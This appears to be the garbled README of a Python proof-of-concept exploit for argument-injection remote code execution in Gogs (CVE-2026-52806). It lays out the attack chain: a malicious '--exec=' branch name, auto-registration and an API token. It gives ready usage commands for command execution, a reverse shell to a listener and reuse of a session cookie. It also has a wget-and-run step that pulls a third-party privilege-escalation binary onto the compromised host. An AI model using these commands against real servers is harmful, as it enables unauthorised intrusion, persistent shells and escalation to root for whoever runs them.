
Gogs RCE via argument injection in git rebase (CWE-88) — Python PoC. CVE-2026-52806
git rebase (CWE-88)Authenticated remote code execution against Gogs (<= 0.14.2 and 0.15.0+dev) via argument injection in the pull request merge flow.
CVE-2026-52806
The Merge() function in internal/database/pull.go passes the PR base branch
name to git rebase without a -- separator. A branch named
--exec=<COMMAND> is parsed by Git as the --exec flag rather than a
positional argument, causing sh -c <COMMAND> to run after each replayed
commit during the rebase.
?v= parameter on static assets, and checks whether user
registration is open, captcha-protected, or disabled.-u <username> -pw <password>. Creates an API token via
Basic auth or the web settings page.master branch with a READMEfeature-* branch with a divergent commit--exec=sh${IFS}.payload containing a
script that runs the attacker's command in the background--exec= branch.merge_style=rebase_before_merging. Gogs internally runs
git rebase --exec=sh${IFS}.payload, which executes the payload after
each replayed commit.requests (pip install requests)git installationpython3 gogs.py <target> [options]
python3 gogs.py http://target:3000 --preflight-only
Reports:
Registration: ENABLED (no captcha) — can auto-registerRegistration: ENABLED (CAPTCHA DETECTED) — create an account manually on
the target's signup page, then provide credentials with -u / -pwRegistration: DISABLED — need existing credentials from an admin# Auto-register + run a command
python3 gogs.py 10.0.0.1:3000 --cmd "id > /tmp/pwned.txt"
# Existing account
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --cmd "whoami"
# Reverse shell
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --listener 10.0.0.2:4444
# Captcha enabled: create account on target's signup page, then use creds
python3 gogs.py 10.0.0.1:3000 -u myuser -pw mypassword --cmd "id"
# If login with creds fails, pass the session cookie directly
python3 gogs.py 10.0.0.1:3000 --cookie "i_like_gogs=abc123..." --cmd "id"
Once you have a shell on the target, the Gogs process typically runs as a
low-privileged user (e.g. git in Docker). To attempt privilege escalation
to root, download and run the lpe-toolkit
binary from the project's releases page:
# From your shell session:
wget https://github.com/portbuster1337/lpe-toolkit/releases/latest/download/lpe-toolkit-linux-amd64
chmod +x lpe-toolkit-linux-amd64
./lpe-toolkit-linux-amd64
The toolkit enumerates kernel exploits, misconfigurations, and other common escalation vectors.
exploit/multi/http/gogs_rebase_rce
by Jonah Burgess (CryptoCat)
(PR #21515)qf6p-p7ww-cwr9 (gogs/gogs)This Python PoC is inspired by the released Metasploit module. The vulnerability was discovered and responsibly disclosed by Jonah Burgess (CryptoCat) at Rapid7.
This tool is provided for educational purposes and authorized security testing only. Unauthorized use against systems you do not own or have explicit permission to test is illegal. The authors are not responsible for any misuse or damage caused by this software.
The Gogs API does not support token deletion, so any API access tokens
created during exploitation will persist and must be removed manually
at /user/settings/applications on the target instance.
| Flag | Description |
|---|
target | Host[:port] (e.g. 47.109.58.140:9000) |
-p, --port | HTTP port (default: 3000) |
-u, --username | Gogs username |
-pw, --password | Gogs password |
--cookie | Session cookie string |
--cmd | Command to execute on target |
--listener | Reverse shell host:port |
--lhost / --lport | Reverse shell host and port |
--ssl | Use HTTPS |
--preflight-only | Only run pre-flight checks |